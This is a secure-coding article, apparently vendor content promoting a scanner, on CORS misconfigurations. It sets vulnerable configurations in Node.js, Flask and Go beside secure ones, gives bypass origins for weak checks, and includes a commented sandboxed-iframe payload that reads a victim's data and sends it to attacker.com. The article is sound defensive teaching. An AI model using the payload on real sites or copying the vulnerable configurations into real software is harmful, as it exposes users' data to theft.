What Is CORS and Why It Exists
Cross-Origin Resource Sharing (CORS) is a browser security mechanism that controls which websites can make requests to your API from JavaScript running in a browser. By default, browsers enforce the Same-Origin Policy — scripts on app.example.com cannot make requests to api.example.com because the origins differ.
CORS relaxes this restriction for legitimate use cases. When your frontend at app.example.com needs to call your API at api.example.com, the API server includes CORS response headers that tell the browser the cross-origin request is allowed:
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization
The browser checks these headers and, if satisfied, allows the JavaScript to read the response. Without CORS headers, the request completes on the server but the browser blocks the JavaScript from reading the response.
CORS is a browser enforcement mechanism — it does not protect server-to-server requests, curl, Postman, or any non-browser client. An attacker with direct API access is not limited by CORS. However, CORS misconfigurations allow malicious websites to make authenticated browser requests to your API on behalf of your users.
How CORS Misconfigurations Enable Attacks
A CORS misconfiguration allows a malicious website to make cross-origin requests to your API using your users' authentication cookies or tokens. The attack flow:
- A user is logged into
bank.example.comwith a session cookie - The user visits
evil-site.com(via phishing, malicious ad, or compromised third-party site) evil-site.comruns JavaScript that callsapi.bank.example.com/transfer- The browser attaches the user's session cookie (since
credentials: 'include'is used) - The API processes the request because CORS allows
evil-site.comas an origin - Funds transfer without the user's knowledge
This differs from CSRF in that CORS misconfigurations allow the attacker to read the response, enabling data exfiltration in addition to state-changing requests. CSRF tokens do not protect against CORS attacks — the attacker's request includes the real session cookie and can read CSRF tokens from the response if CORS allows it.
Wildcard Origins with Credentials — The Critical Mistake
The most dangerous CORS misconfiguration combines wildcard origin with credentials. Browsers reject Access-Control-Allow-Origin: * when credentials are included, so developers work around this by dynamically reflecting the requesting origin — every origin gets allowed.
Vulnerable (Node.js/Express):
// VULNERABLE: Reflects any origin — equivalent to wildcard + credentials
const cors = require('cors');
app.use(cors({
origin: (origin, callback) => {
callback(null, origin); // Allows ANY origin
},
credentials: true
}));
Secure (Node.js/Express):
// SECURE: Explicit allowlist
const ALLOWED_ORIGINS = new Set([
'https://app.example.com',
'https://admin.example.com'
]);
app.use(cors({
origin: (origin, callback) => {
if (!origin || ALLOWED_ORIGINS.has(origin)) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
credentials: true
}));
Vulnerable (Python/Flask):
# VULNERABLE: All origins with credentials
from flask_cors import CORS
CORS(app, origins="*", supports_credentials=True)
Secure (Python/Flask):
# SECURE: Named origins only
from flask_cors import CORS
CORS(app,
origins=["https://app.example.com", "https://admin.example.com"],
supports_credentials=True
)
Vulnerable (Go):
// VULNERABLE: Reflects origin without validation
func corsMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Access-Control-Allow-Origin", r.Header.Get("Origin"))
w.Header().Set("Access-Control-Allow-Credentials", "true")
next.ServeHTTP(w, r)
})
}
Secure (Go):
// SECURE: Allowlist check
var allowedOrigins = map[string]bool{
"https://app.example.com": true,
"https://admin.example.com": true,
}
func corsMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
origin := r.Header.Get("Origin")
if allowedOrigins[origin] {
w.Header().Set("Access-Control-Allow-Origin", origin)
w.Header().Set("Access-Control-Allow-Credentials", "true")
}
next.ServeHTTP(w, r)
})
}Reflected Origin Vulnerabilities
A reflected origin CORS policy dynamically sets Access-Control-Allow-Origin to whatever origin value is in the request, without validation. This is functionally equivalent to Access-Control-Allow-Origin: * with credentials, which browsers otherwise block.
Weak origin validation patterns
These patterns appear secure but can be bypassed:
// VULNERABLE: Prefix matching allows evil-example.com
if (origin.startsWith('https://example.com')) {
res.setHeader('Access-Control-Allow-Origin', origin);
}
// Attack: Origin: https://example.com.evil-site.com
// VULNERABLE: Substring matching
if (origin.includes('example.com')) {
res.setHeader('Access-Control-Allow-Origin', origin);
}
// Attack: Origin: https://evil-site.com?example.com
// SECURE: Exact match with allowlist Set
const ALLOWED = new Set(['https://app.example.com']);
if (ALLOWED.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
}Null Origin Bypass
The special null origin is sent by browsers in specific scenarios: sandboxed iframes, local file requests (file://), and certain redirects. Some CORS configurations whitelist null for development convenience, creating an exploitable bypass:
// VULNERABLE: null origin whitelisted
if (origin === null || ALLOWED_ORIGINS.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', 'null');
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
// Attack: sandboxed iframe sends null origin
// <iframe sandbox="allow-scripts" src="data:text/html,<script>
// fetch('https://api.example.com/data', {credentials:'include'})
// .then(r => r.json()).then(d => fetch('https://attacker.com?d=' + JSON.stringify(d)))
// </script>"></iframe>
Never whitelist the null origin. Use named origins only.
How CodeSlick Detects CORS Issues
CodeSlick's API security checks include dedicated CORS detection across JavaScript, TypeScript, Python, Java, and Go:
- Wildcard origin with credentials: Flags
Access-Control-Allow-Origin: *combined withAccess-Control-Allow-Credentials: true - Reflected origin: Detects origin values set directly from
request.headers.origin,req.headers.origin, orr.Header.Get("Origin")without allowlist validation - Weak validation patterns: Identifies
startsWith(),includes(), and regex patterns on origin values that can be bypassed - Null origin: Flags code that explicitly allows
nullorigins with credentials
All findings are mapped to CWE-942 (Permissive Cross-domain Policy with Untrusted Domains) with OWASP A05:2025 (Security Misconfiguration) classification.
Detect CORS misconfigurations automatically across JavaScript, TypeScript, Python, Java, and Go in under 3 seconds.